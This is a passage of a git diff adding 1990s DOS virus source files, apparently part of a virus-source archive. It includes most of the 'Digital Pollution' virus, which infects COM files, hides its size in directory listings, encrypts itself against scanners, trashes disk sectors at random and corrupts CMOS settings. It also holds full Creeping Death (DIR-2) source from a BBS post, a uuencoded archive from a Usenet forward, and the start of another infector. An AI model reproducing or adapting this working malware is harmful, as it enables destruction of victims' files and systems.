ah,2fh ;get DTA-area + int 21h + pop ax + inc al ;is it an extended FCB + jnz no_ext + add bx,7 ;if so add 7 +no_ext: + mov al,byte ptr es:[bx+17h] ;get seconds field + and al,1fh + xor al,1dh ;is the file infected?? + jnz no_stealth ;if not - don't hide size + + cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds + jbe no_stealth ;as an infected is smaller - + sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size + sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from +no_stealth: ;dir entry +bad_psp: + pop es bx ax ;restore regs +skip_dir: + iret + + +infect: ;.com file infection routine + push es bp ax bx cx si di ds dx ;preserve registers in use + + mov ax,4300h ;get attrib + int 21h + push cx ;save attrib + mov ax,4301h ;clear attrib + xor cx,cx + int 21h + + mov ax,3d02h ;open file + pushf ;we can't have a standard int 21h + push cs ;call here as we would get caught + call do_oldint21h ;in a infinite loop at open calls + + xchg ax,bx ;bx = file handle + + push cs + pop ds + + mov ax,5700h ;get time/date + int 21h + push dx ;push date/time for later use + push cx + and cl,1fh ;check if infected (if seconds is 29) + xor cl,1dh + je skip_infect + + mov ah,3fh ;read three bytes + mov cx,3 + mov dx,offset ds:orgbuf + int 21h + + + cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file + je skip_infect + cmp word ptr ds:orgbuf,'MZ' + je skip_infect ;if so - don't infect + + + mov ax,4202h ;go eof + xor cx,cx + cwd + int 21h + + add ax,offset entry_point-106h ;calculate entry offset to jmp + mov word ptr ds:newbuf[1],ax ;move it to newbuf + + mov ah,2ch ;get random number and put enc_val + int 21h + mov word ptr ds:enc_val,dx + mov ax,08d00h ;copy entire virus to 8d00h:100h + mov es,ax + mov di,100h + mov si,di + mov cx,(vir_size+1)/2 + rep movsw + push es + pop ds + xor bp,bp ;and encrypt it there + call encrypt_decrypt + + + + mov ah,40h ;write virus to file from position + mov cx,end_of_virus-install ;08d00h:100h + mov dx,offset install + int 21h + + push cs + pop ds + + mov ax,4200h ;go sof + xor cx,cx + cwd + int 21h + + mov ah,40h ;write 3 start bytes + mov cx,3 + mov dx,offset newbuf + int 21h + +skip_infect: + mov ax,5701h ;restore time/date and mark it infected + pop cx + pop dx + or cl,00011101b + and cl,11111101b + int 21h + +;skip_infect: + mov ah,3eh ;close the file + int 21h + + pop cx ;get old attrib in cx + pop dx + pop ds + mov ax,4301h ;and put it right + int 21h + + pop di si cx bx ax bp es ;restore registers + +do_oldint21h: +db 0eah ;jmp to original int21h handler +OldInt21h dd 0 + +check_com: ;routine to check if a file has the + push di es cx ax ;extension .com + push ds + pop es + mov cx,64 + mov di,dx + mov al,'.' + repne scasb ;search for the '.' location + + pop ax cx es + + cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM + jne break + cmp byte ptr ds:[di+2],'M' + jne break + pop di + jmp infect ;if the match - infect the file +break: + pop di + jmp short do_oldint21h + + +; ----------- +; new interrupt 25h handler +; ----------- +new_int25h: + + push dx + cmp al,2 ;check for c: and above + jb do_int25h + push cx ax + + mov ah,2ch ;get random number + int 21h + pop ax cx + cmp dl,2 ;3% chance of a int 26 nuke + ja do_int25h + +trash: + pop dx +db 0eah ;trash cx # of sectors by jumping +int26h dd 0 ;to int26h handler + +do_int25h: + pop dx +db 0eah ;lucky victim - a standard int25h call +old_int25h dd 0 + + +; ----------- +; CMOS nuking routine +; +; This routine changes the floppy alternative in CMOS to a 360kb floppy +; or the hd to a 20 MB +; ----------- +screw_cmos: + + or dl,dl ;if dl = 0 nuke CMOS floppy + jne floppy + mov cl,19h ;else nuke CMOS hd + jmp short get_crc +floppy: + mov cl,10h + +get_crc: ;get CMOS crc checksum + mov ax,2eh ;get most significant byte + out 70h,al ;and store in dh + in al,71h + xchg dh,al + mov al,2fh ;get least significant byte + out 70h,al ;and store in dl + in al,71h + xchg dl,al ;dx holds crc checksum + + mov al,cl ;cl = function (10h=floopy, 19h=hd) + out 70h,al + in al,71h ;get current value in al + sub dx,ax ;and subtract from checksum + add dx,10h ;add new value to checksum + + mov al,cl + out 70h,al + mov al,10h + out 71h,al ;put new value in CMOS + + mov al,2eh ;put back new crc checksum + out 70h,al + xchg dh,al + out 71h,al ;least signigicant byte + mov al,2fh + out 70h,al + xchg dl,al + out 71h,al ;most significant byte + + ret ;done! + + +; ----------- +; Swedish national anthem routine +; ----------- +play_song: + + lea si,[bp+tune] +next_note: ;loop through the tune at ds:si + lodsw ;until ds:si = 0 + or ax,ax + je eot + mov di,ax +play: + mov al,0b6h + out 43h,al + mov dx,12h + mov ax,3280h + div di + out 42h,al + mov al,ah + out 42h,al + + in al,61h + mov ah,al + or al,3 + out 61h,al + + lodsw + mov cx,ax +delay: + push cx + mov cx,2700 + loop $ + pop cx + loop delay + + out 61h,al + + jmp next_note +eot: + xor al,al ;kill the sound + out 61h,al + + ret + +tune dw 370,600 ;data for the tune + dw 370,1200 + dw 294,600 + dw 294,600 + dw 294,1200 + dw 330,600 + dw 370,600 + dw 370,1200 + dw 330,600 + dw 294,600 + dw 277,1800 + dw 330,600 + dw 330,1200 + dw 277,600 + dw 294,600 + dw 330,600 + dw 277,600 + dw 370,600 + dw 294,600 + dw 247,2400 + dw 220,1200 + dw 0 + +dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note + + +; ----------- +; En/de-cryption routine and entry point - unencrypted code +; ----------- +encrypt_decrypt: + mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax + lea di,[bp+install] ;di points to start of crypt + mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc. +xor_loopy: + xor word ptr ds:[di],ax ;a simple xor loop to fullfill + inc di ;the task + inc di + loop xor_loopy + ret +enc_val dw 0 + + +entry_point: + mov sp,102h ;some alternative way to pop + call get_bp ;we don't want TBAV to flag +get_bp: ;a flexible entry point + mov bp,word ptr ds:[100h] + mov sp,0fffeh + sub bp,offset get_bp + + call encrypt_decrypt ;decrypt the virus + jmp install ;jmp to install code + +end_of_virus: + +; ----------- +; end of virus +; ----------- +cseg ends + + end start_of_virus \ No newline at end of file diff --git a/d/DIR-2.ASM b/d/DIR-2.ASM new file mode 100755 index 0000000..af8e8cd --- /dev/null +++ b/d/DIR-2.ASM @@ -0,0 +1,193 @@ +From smtp Tue Feb 7 12:40 EST 1995 +Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 12:40 EST +Received: by lynx.dac.neu.edu (8.6.9/8.6.9) + id MAA20511 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 12:43:16 -0500 +Date: Tue, 7 Feb 1995 12:43:16 -0500 +From: lynx.dac.neu.edu!ekilby (Eric Kilby) +Content-Length: 10475 +Content-Type: text +Message-Id: <199502071743.MAA20511@lynx.dac.neu.edu> +To: pobox.jwu.edu!joshuaw +Subject: (fwd) Creeping Death (dir-2) +Newsgroups: alt.comp.virus +Status: O + +Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!howland.reston.ans.net!pipex!uunet!uunet.ca!uunet.ca!io.org!wink.io.org!cwalker +From: cwalker@wink.io.org (Chad Walker) +Newsgroups: alt.comp.virus +Subject: Creeping Death (dir-2) +Date: 3 Feb 1995 11:11:59 GMT +Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783) +Lines: 161 +Message-ID: <3gt31v$sm5@ionews.io.org> +NNTP-Posting-Host: wink.io.org +X-Newsreader: TIN [version 1.2 PL2] + +begin 664 dir2.zip +M4$L#!!0````(`*JU/QZQ):7O)1L``+EU```(````9&ER,BYAMST\B6 +M_TX5_T-/]@.A$&`["01[N2PD84@M$#9A[F3O%)62I78LD"5?/?*8?W[W/%I2 +M2RVU-&+\P1!;.CK=?1Z_\^CV0AR[R0_Q-KJ6X:-4>/%F(Z,LG8M3D6[A?V)S +M+^"?()'BUOT11-=B'>=)*L(XIK_<3&3K(!4W09*GSQX^6(B.URG<XC9-T'6R!EA1^$M"%%F)!M))>EL*M7]T?4KC$#O)"Y#_* +M3$0QL9XE<;X,92J6TDI.W+A!!+?^OKX7?N`#1WY,`WN#W*6NEP2KP),%SV(5 +M)Q9Z.(JEC.0JR$2\$ON3#_(.A[D2]W$.E*-'F4BDZ],3'''Z:&,A=AU'D0OO +MXGL,?/[Q.?_ODV\PT=H=1XF46UR,8^EF:R'^*:;/)O"]=LGNT6-Q%&_OD^!Z +MG8GIJU=3L;P7_\1%NXA7&7R7;(EH,-V+DVN\Y36^':P.U_#A;%K_T%OCM7Z0 +M7,W@[U1>H]``Q4R*+ED0H33 +MS$VR>?6MV,0W^)RM\P*NZ)HH(1;B`I8^9S$"(MX/L85)RV2BT0HB#]Y!X'RQ +MS1*0^!PO:*'U*ZQ@XF9!'!47:53N8KS%NW.\.X-//X5/N[E$VL<7S%DJLE@0 +MATF^!55R05@U>J&?XA3>T:3],?&FZV_M]-X'D:_1V<-Y++]V?9^IS*:6R0,J +M1VL7[``H$7)U"BL*-VATMGFZQM'9AD9T+EQ28`$SQZL`ZB+R%)3BWB#G6F>* +MR*7Y$M0X"R(I=K[GF^V.,>/NVMFS"0:M9B:.SR[$C4Q26%*-A.>&H1!(6/]P +MLT6ZH;/?PQS2W']V^43,Q<4IZ,=$(Y(NE_@>.&G03V3V?$\41)Y.C2&RIY,4^F; +M4[Z\`V6T3_E;_WL.;&SD)D[NT7-2Y*1=OW[53>GIOQ* +M7[LVP@>S85+Q,4C)5.._:2M]"QDD!`ISH@^-D+7RFN]@)X2(Y%W6,TSPQP`3'``)]\*]!@"@ +MVW=O?4W\]%GR3XAJ>#CE.$$8CBX-<2QFZG#=5-V2V/O0O>:Y%AM4G:4$G+#, +M@S`SG4Q03OU>Q]237,6K52JM4S_PM1!G@!Z"R`U_GA)XI`3L"MJ$H\OY\6GG +M7,'0'#6"-0"FRD\OQ+G.2UKM6Q,O6CT`.^NEP$QN*,&_S@R0N+GI\@ +M1\KT0V`C(#0!&1KE;4CA%:DT@Y!.7E-2([GOGF\(5^'2*[+GCF94E%>ENSF$ +ML]*`[Q4-F>H<<;2F7'T1'=4`R.#1K?+(HR#UJG:_%_K#[K_PW(A80$V]38), +M&B."",;JOG0N6.4!*0)9\J5L`^T1$)&(^^!%&/OI;9MUG,K5:FVZ2^"@S3'- +M/%NTL1"_!]X/,"QY]/3>302#C/B1\=P_`!?L?W.Z''/96I:@J!`4YO8#U;W3YK+JL2[P&=@";9NYNES +M"P`@O>V>OHH0.!!7I#'"&I0P@+(>I1?\-I3=%R"'H+3),\MXJKQ5X\ZOF)T, +MTL(543["$^('7CH-FF$QK6U47^W@8N)-['DLC2U +M7+M@3OP@_2'.SSZ-,1`7F$TK$.%_E5;^:$+9MI6?_IC.A1CN]C[&KE\FV9B8 +MD1@;D/-PB2TW*RSSA/DIKR`Y'S0^W8"EP77D9GDBV^S$Q'4/#BQS7H'PDHP) +MHW#"K$FA"D:QP+=,DK<<,#*DY(6P;.+MA\:\+(?<&^(ZN9PX`LC\]J,AAE[H +MO-)5&VPOQ[RAG?+%.EAEX,I7,,8)1`!AB%J-$S-#22H-&L`X[Z5IF/'"/6-] +M2K>)EG#VS=GW^N]4& +MOIU,E0L59#\HZ\Y!V9Q`@1`S4LP@E.Q`:;5WO/F.,SLX<"8\TWOX'<<\`WPK +M86=2>V4'>"#&(H#>VB,H$FXM/,CB6*S!-3GZ5!##)`YV4EKBA;2J&M*`)36& +MU*)F-"9_[4Q6]K)!?4S@*G!(K2/J">,YUUE+*>D*EE,^>-N;5`8\(P%.W;>W'C)IC])/'"N2IT(JLDWH@O%U\,6C)UEF;!!#/`K^R)C7,94NP']GD7C%F*^LR3K:?^ +M6E/Y[)'`K-6P%<1\&8UMV2?O*::?7XM)S17\B>_V<%HHR4KC,J#&&S!2C.); +M$Q/T@VRT0"B@21Y1P.FB[46L+>4/#6O[_?;@@E4&Q4&26=.EU'.'.5ZTI_JJ +M-Y-?1=9*ZA_",@JR,Q@`6K/BIUJ)#,<9N1O987#E'0V\G=`NZ#/F^/>>73[1 +MA67@"T)1H)ZC$UT#6N$9YTR!T,2:`O07W2IR#2H"&L&0NI$F*/5,_@017GN[ +M-#,1RJ`%,+'UO)>&W!X^P!FE`;*-:5%:8%=Y0RH3M#U)56,;981102[P=G)Y +M5]2P(1J4QG%C(U*C-@ +MIDZEQ1Y;0SU+<+2Z:NB.PDT#[`3:V4+Y3-"@8.2=LS^QT\'>`[(7):U:(3"1 +M6Z&B)3L=ZJS(P3LF0Z;%;YL6K!7[=F?S@7)-(M[*2.E[@X9?RCY^W4H#\-K_ +M[3B3/N>D&.W7VN.+^3'5]2I3V);-W6Z +M/3!423%T4=GC*G& +M:IHX!C+$5E*-)MT8_JZC?"KOT28J\(@ +M4<'JOO,AAD8'T97U*>C(\,)&IKJ-76OD2_',OW.,0+"X[XMWM3X-QLW;K=T. +M%WFFB`IKZ!C=)4BC`V"X5O;E6G;*[0+363>X!`]38&X40N#)Z$=K`HOE=GD% +M[KAM>"IO#H-3+7BT)"T!X;S@RVG%(Q#UE!2`JZY"?T%GO[O0WS:@P8I.0*A- +MT0?CLP;#`)JF+^S/+$%3S"+"W(]$3N;$%:SUCKVH^E*L-9BD)$46`[80 +M4;Y9T@+QU#73%F3_-GOV^:K2%LO@&E<]"PBQ[/YC;_;IGZ,CSSS +M(\Q_)=C;CR]`IP/P,")-3EV!T\Q<`'>)_`4Y9Q\ZUZS99+6:O#)1LK>6`&JL +M3PBH[.**2-Z26)B)MB!:7:6=*1ZAUURN8^'>NO=_EV]OZ3O0Y0H9\],?G,,G +M'N?J^ROU-TPY(*AY=>,5_LV?7N''W/^2;GO=06&&RS+F&%G_*-&1-2KLR#RO +MYO!%.^U=--KAT$-$+5J(7/$4PFP6+3A5RS,A6Q.QQ&0Q0H4U#%^8:B)M[FR/M`[X4QYS`YA/\>/L!,-O<<#JUWQE&K +M"!1Q5:U4B'J?TMPVN*YL4H&:&LEG53?&-+.*!Y5K>2VF8XSV[CF*`R7+WGXU +M<_9J6FP4B`#:?N:G!IA1X$BC[$R`O%'&P0#)[0)GN$D(,V#JDUMLL6]#[H-- +MS0=JS2U-#0^>MAS),9,+JUG+L8^`_*D=\V/'5FKOV/K,\I%@4<0/$EHD[K,* +M:OBW;/6<'MA'=1[G$78:M-6M]W4ONU8%GKZZ]7%P$_A4_`);2U4%Q&`,E48! +MD55CM&VA$D[;9&E9@],*ZCX'W3!F"FC8,[5`@W:Y499\AOI5PR"9Q6_J1-[Z +MK%Y(A2I;,"BP$@9&]OMKQ$A*68TT^%/J$S4F"UTN5<,BU(&NSDW`@L(H8DTJ^0K(GW:X/LV/(A2N]Y?#F'P5(F1@]. +MVK+I1.]E-ST0H'*R<#CD,=OWX#%\QY[I'J4!N.=QJA6/!$_=+_[#B#*]_C#ZE/), +M($RX>Y>A*`C.U!BJV[_?0?'QG,?ED*F+(S,U,Z"?G]!5,2Y#Q!2@C2/PL-;> +M=[4M0((%:EF(YB"-W,QDVY!^3D[#W\ +MD?QHT<82!*F4F@&\00X^?_GMJYD:-C-Q'8%S$UF^KD_,8$1X5H)!D!WBDGW.\B;MPPMP!_+YU?N_Z3:7-@Y39@;N\H.##(E5:CKVM%MQJ3AN(;N:ET +M`XMO@\\+]G54IH3YWN$;6K8$DU.Q=/0I)U5XJ&J?7!V##7PMC%5'@#'(#WU" +MI01GSB4+G&6*.\?PL*/LW`Y/$J$)[):2HZ**8*5:)DG#8/56]6Z)JJ]VM5J] +MM/35`MI>!H@G4YG<2/_YLF93>>'KG^FDNRDCZ=E/D;9U8/>0IB)-#'Y^J=([ +M99:MD]V"\E>(B'SV+MLP\%#A0<'F.<:1C?2K2F +MTMQE/<"'TC$$MZSLF=9U7U/1&C$W=K.YS07UP@X*' +M<]S(#O$Z^3Y8T-304>I4ME$J`'^,=JQ)8_"JU_"7@5-:TC>#=S1^EBQ.?@SA +M'RQ3BJT=PH +MHZ.O:@!\:8`.ZG5DHH]KD*'$,%U^LMUQ/7P0]N8@*:&+VM'1)AF6K +M,<,/'4#^?V5R_8MV8V$'NK1:^UR3&9LTLLP0>,!>C-.V]HG^';G'@8\!N5=A +M*5BE-V-$+W@FG]$&7VPB#A%TWW,..&@I!/7;PV:RWH2%JMP.T+"V\?&,*\A5 +M%L:,1=G?7O5E8HN&>S_P\2@D/LV)DQAC<`I5#VB*U3$QX`G/UF,HWN[F6SQE<.J@)SG&3#O_Y.C7U:`_%%*>1],B'=$ +M7X;@*^4Q=ZIDAY_;LVKQ^V +M%MJH:+6_=[0<6K1SA$.<-*I.NAB/!2-^- +M4BVQT-(Y4]%"+^],._IW%1I>ER>Z[/KYVJRC#;`U_\*V(CS$3X8W,OUEC,CO +M_H['`7*?6):`]0V!DZNBI)UF9L55'5@.A`N3U$3W%"K`G$J)D0/G]7#;]S*X-J`A\>4C7WNKU2'R]9^S +MR?[A.XU4DZ\POC78(D`YDBW*$+8RAET8E:V9UO<1%8RY698$2]SNB_U0ZJDFOUH10-$*EPXX^ +M%!.G,%8/'RC7/Z^T=#K;V[?EWO%"/)OV\I*/D\&DM@Q3>=M(`):Z0=+A=B-` +M)1HX6:CV1:)AE,FJY5F%BZ>V&$H\8!6+/@O58D'[^B/*`^MPH3C&IF^`5??8 +M!L^M!LK%=HLQ8Z0#MZ^+ZD.YS;UOV4ZXIH<#"I*_8Y+-8`:GP1YEX@E8N%^' +MG3J=%5046L9P`D@3MWBCZ$0Q$$ZV<5H[2)GP_(#U_EHML%)5U":MW61`;\YQ +MD`85R&HH?%U6]NUG*EA2;24W1D&WR8TLE]M&3ULY>Y#M5BNWI+B*9A5GB`\J +MFKG7DADCBDK8C$[C>GUD'B4P^LBG'-\51$5)5:JU"[4;U9326] +M[;L=BOWP=!!D8ZW4^2']4479C85&=8L'>'+QO'&R@CK$IA^_54&);G<:1]0F +MTF[E2VJ5U?EW'M"^-W(=M?VF%%U:$)F[AH`,=UIPF_4N[U4T]K\-?)F'W6/_ +MQN.'#RCHK\X0`L9Z&XG@0K@,G1">`\7Y]F=C6#J*-WBH@FI8*TYB]>IH8C`U +MX!OD@0[`=OGXEE$E^`T8LC3`YD[N#*`S*&Z#<3R!>?0X/5:4)6(\EPTPL9DB +M*W$2*FIYY+AV4J +M!;H9Y3!]P`I68H#299TU-5EN)PK72L"UK=6*X'RX.3YZ[_SKO:#&P%6=Q9^5 +M!8?&R93'T$(V='H8MF"9#G^P9`R]'W3.$26-*IO>TE]XV+B/JX.48#[[[>N7 +MW[XZ[*1UT^*B:1D@F_W[N08/AUO&*;."1\B`=HQKGRS]L5-L`^*.RK8&@)<3 +M<\^TG_;_H`2=GIMK.W7YP,^Y1KHO3GA;)$E+*]H:W97GYYGE4>YL;@.9W[1S +M.[?M,)2.SAECC09NXU-6I,EB^7'+41YL*>=&<4O?Q*X;-+U#%7>W7'C1Y__X]7`!^2S5'-AK[R"BO +MW.S*NI>5Z$PPH"A"_LYX%,,WVR2)13LG'!W7SKT!18=P\BG$FY7Q'-KKS'T* +M`\[9U$M?>XV`M-RFUMSJSQ#:?TW +M4K"L`0+0ER@L4ZOR1D8.W1%$+>&"XLO63QM7;F^CL]@\:U/K#K4PN"B'I5FA +MDCN60=W;]>UM43W*=3$:O.YJ`U[;[IK:_'0O7+5NH+J<.5#I"!R55CZ!L=2+ +MJKP!:`"3Y@Z74;7_1.()5O3+4IQ04DWSH\Y6[-XGPX7_^5]H@ZU.A(618I77 +MH^(Q_UA?>=U@G%[;`XG+D'-^G.WWI%;(Y\\.]ZT_-T5K4)071B5-WOULUH7. +MP11G7TX^/S_Z>'9Q`N,#J6KL^!U.CE\J_",(D.;;+6CNN"PN_^1>X(G3LZ.O +M'QGQ_13!"[XY%7OL),P-E[5TX\;2BWY1G#RF*IM=-/!I731.2Z!3_)[=;I*M +M'ALXXZ7%OBM2:K,U[HO,EYB7^\FI7]YS)H>!'?X29GSK\*]\C@K]8+*?/H7W +M1RG^!@`?D8)V^GL>>/?\ZY5?ZL>""JY2S_&K"3S_[/Q8_U$T[:!9O&(FCND* +MK6&E?J;G0KPP+\'C!WRY\E&P``N74```@````` +K`````0```*2!`````&1I4MB + jnz go_on + test [si+1dh],03ff8h ; <2048B + jz go_on + test [si+0bh],byte ptr 1ch + jnz go_on + test dl,dl + jnz rest +pointer: mov ax,1234h + cmp ax,[si+1ah] + je go_on + xchg ax,[si+1ah] +gad: xor ax,1234h + mov [si+14h],ax + loop go_on +rest: xor ax,ax + xchg ax,[si+14h] + xor ax,cs:gad+1 + mov [si+1ah],ax +go_on: ;rol cs:gad+1,1 + db 2eh,0d1h,6 + dw offset gad+1 + add si,32 + cmp di,si + jne find + ret + +check: mov ah,[bx+1] +drive: cmp ah,-1 + mov cs:[drive+2],ah + jne changed + push [bx+0eh] + mov byte ptr [bx+2],1 + call in + cmp byte ptr [bx+0eh],1 + pop [bx+0eh] + mov [bx+2],al +changed: ret + +write: cmp byte ptr es:[bx+2],8 + jae in + mov byte ptr es:[bx+2],4 + mov si,70h + mov ds,si +modify: mov si,1234h + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in + pop [si+2] + pop [si] + ret + +driver: mov es:[bx+12h],1 +in: + db 09ah +str_block: + dw ?,70h + db 09ah +int_block: + dw ?,70h + test es:[bx+4],byte ptr 80h + ret + +convert: cmp ax,0ff0h + jae fat_16 + mov si,3 + xor cs:[si+gad-1],si + mul si + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si +header: inc ax + ret + +counter: dw 0 + + dw 842h + dw offset main + dw offset rts + db 7fh + +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. + diff --git a/d/DIR2.ASM b/d/DIR2.ASM new file mode 100755 index 0000000..655c4f2 --- /dev/null +++ b/d/DIR2.ASM @@ -0,0 +1,497 @@ +=========================================================================== + BBS: The Programmer's Inn +Date: 11-24-91 (19:52) Number: 3544 +From: AHMED DOGAN Refer#: NONE + To: ALL Recvd: NO +Subj: DIR-2 Conf: (16) VIRUS +--------------------------------------------------------------------------- +; Creeping Death V 1.0 +; +; (C) Copyright 1991 by VirusSoft Corp. + +i13org = 5f8h +i21org = 5fch + + org 100h + + mov sp,600h + inc counter + xor cx,cx + mov ds,cx + lds ax,[0c1h] + add ax,21h + push ds + push ax + mov ah,30h + call jump + cmp al,4 + sbb si,si + mov drive+2,byte ptr -1 + mov bx,60h + mov ah,4ah + call jump + + mov ah,52h + call jump + push es:[bx-2] + lds bx,es:[bx] + +search: mov ax,[bx+si+15h] + cmp ax,70h + jne next + xchg ax,cx + mov [bx+si+18h],byte ptr -1 + mov di,[bx+si+13h] + mov [bx+si+13h],offset header + mov [bx+si+15h],cs +next: lds bx,[bx+si+19h] + cmp bx,-1 + jne search + jcxz install + + pop ds + mov ax,ds + add ax,[3] + inc ax + mov dx,cs + dec dx + cmp ax,dx + jne no_boot + add [3],61h +no_boot: mov ds,dx + mov [1],8 + + mov ds,cx + les ax,[di+6] + mov cs:str_block,ax + mov cs:int_block,es + + cld + mov si,1 +scan: dec si + lodsw + cmp ax,1effh + jne scan + mov ax,2cah + cmp [si+4],ax + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 + stosw + xchg ax,si + mov di,offset i13org + cli + movsw + movsw + + mov dx,0c000h +fdsk1: mov ds,dx + xor si,si + lodsw + cmp ax,0aa55h + jne fdsk4 + cbw + lodsb + mov cl,9 + sal ax,cl +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp [si+2],4ch + jne fdsk3 + push dx + push [si+4] + jmp short death +install: int 20h +file: db "c:",255,0 +fdsk3: inc si + cmp si,ax + jb fdsk2 +fdsk4: inc dx + cmp dh,0f0h + jb fdsk1 + + sub sp,4 +death: push cs + pop ds + mov bx,[2ch] + mov es,bx + mov ah,49h + call jump + xor ax,ax + test bx,bx + jz boot + mov di,1 +seek: dec di + scasw + jne seek + lea si,[di+2] + jmp short exec +boot: mov es,[16h] + mov bx,es:[16h] + dec bx + xor si,si +exec: push bx + mov bx,offset param + mov [bx+4],cs + mov [bx+8],cs + mov [bx+12],cs + pop ds + push cs + pop es + + mov di,offset f_name + push di + mov cx,40 + rep movsw + push cs + pop ds + + mov ah,3dh + mov dx,offset file + call jump + pop dx + + mov ax,4b00h + call jump + mov ah,4dh + call jump + mov ah,4ch + +jump: pushf + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 + jmp dword ptr cs:[i13org] + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es + pop ds + mov al,[bx+2] + + cmp al,4 ; Input + je input + cmp al,8 + je output + cmp al,9 + je output + + call in + cmp al,2 ; Build BPB + jne ppp ; + lds si,[bx+12h] + mov di,offset bpb_buf + mov es:[bx+12h],di + mov es:[bx+14h],cs + push es + push cs + pop es + + mov cx,16 + rep movsw + pop es + push cs + pop ds + mov al,[di+2-32] + cmp al,2 + adc al,0 + cbw + cmp [di+8-32],0 + je m32 + sub [di+8-32],ax + jmp short ppp +m32: sub [di+15h-32],ax + sbb [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf + +output: mov cx,0ff09h + call check + jz inf_sec + call in + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 + jmp short ppp + +input: call check + jz read +inf_dsk: mov byte ptr [bx+2],4 + cld + lea si,[bx+0eh] + mov cx,8 +save: lodsw + push ax + loop save + mov [bx+14h],1 + call driver + jnz read_ + mov byte ptr [bx+2],2 + call in + lds si,[bx+12h] + mov ax,[si+6] + add ax,15 + mov cl,4 + shr ax,cl + mov di,[si+0bh] + add di,di + stc + adc di,ax + push di + cwd + mov ax,[si+8] + test ax,ax + jnz more + mov ax,[si+15h] + mov dx,[si+17h] +more: xor cx,cx + sub ax,di + sbb dx,cx + mov cl,[si+2] + div cx + cmp cl,2 + sbb ax,-1 + push ax + call convert + mov byte ptr es:[bx+2],4 + mov es:[bx+14h],ax + call driver +again: lds si,es:[bx+0eh] + add si,dx + sub dh,cl + adc dx,ax + mov cs:gad+1,dx + cmp cl,1 + je small + mov ax,[si] + and ax,di + cmp ax,0fff7h + je bad + cmp ax,0ff7h + je bad + cmp ax,0ff70h + jne ok +bad: pop ax + dec ax + push ax + call convert + jmp short again + +small: not di + and [si],di + pop ax + push ax + inc ax + push ax + mov dx,0fh + test di,dx + jz here + inc dx + mul dx +here: or [si],ax + pop ax + call convert + mov si,es:[bx+0eh] + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di + dec dx + and dx,di + not di + and [si],di + or [si],dx + + cmp ax,dx + pop ax + pop di + mov cs:pointer+1,ax + je _read_ + mov dx,[si] + push ds + push si + call write + pop si + pop ds + jnz _read_ + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx + add ax,di + adc dx,0 + push es + pop ds + mov [bx+12h],2 + mov [bx+14h],ax + test dx,dx + jz less + mov [bx+14h],-1 + mov [bx+1ah],ax + mov [bx+1ch],dx +less: mov [bx+10h],cs + mov [bx+0eh],100h + call write + +_read_: std + lea di,[bx+1ch] + mov cx,8 +load: pop ax + stosw + loop load +_read: call in + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] + lds si,es:[bx+0eh] + sal di,cl + xor cl,cl + add di,si + xor dl,dl + push ds + push si + call find + jcxz no_inf + call write + and es:[bx+4],byte ptr 07fh +no_inf: pop si + pop ds + inc dx + call find + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] + cmp ax,"XE" + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on + +found: test [si+1eh],0ffc0h ; >4MB + jnz go_on + test [si+1dh],03ff8h ; <2048B + jz go_on + test [si+0bh],byte ptr 1ch + jnz go_on + test dl,dl + jnz rest +pointer: mov ax,1234h + cmp ax,[si+1ah] + je go_on + xchg ax,[si+1ah] +gad: xor ax,1234h + mov [si+14h],ax + loop go_on +rest: xor ax,ax + xchg ax,[si+14h] + xor ax,cs:gad+1 + mov [si+1ah],ax +go_on: ;rol cs:gad+1,1 + db 2eh,0d1h,6 + dw offset gad+1 + add si,32 + cmp di,si + jne find + ret + +check: mov ah,[bx+1] +drive: cmp ah,-1 + mov cs:[drive+2],ah + jne changed + push [bx+0eh] + mov byte ptr [bx+2],1 + call in + cmp byte ptr [bx+0eh],1 + pop [bx+0eh] + mov [bx+2],al +changed: ret + +write: cmp byte ptr es:[bx+2],8 + jae in + mov byte ptr es:[bx+2],4 + mov si,70h + mov ds,si +modify: mov si,1234h + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in + pop [si+2] + pop [si] + ret + +driver: mov es:[bx+12h],1 +in: + db 09ah +str_block: + dw ?,70h + db 09ah +int_block: + dw ?,70h + test es:[bx+4],byte ptr 80h + ret + +convert: cmp ax,0ff0h + jae fat_16 + mov si,3 + xor cs:[si+gad-1],si + mul si + shr ax,1 + mov di,0fffh + jnc cont + mov di,0fff0h + jmp short cont +fat_16: mov si,2 + mul si + mov di,0ffffh +cont: mov si,512 + div si +header: inc ax + ret + +counter: dw 0 + + dw 842h + dw offset main + dw offset rts + db 7fh + +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. + + diff --git a/d/DIRR.ASM b/d/DIRR.ASM new file mode 100755 index 0000000..48569ac --- /dev/null +++ b/d/DIRR.ASM @@ -0,0 +1,285 @@ + +; DIR +; +; by Terminator Z + +; this virus will infect com files when you do a directory .. it will infect +; every com file as it comes 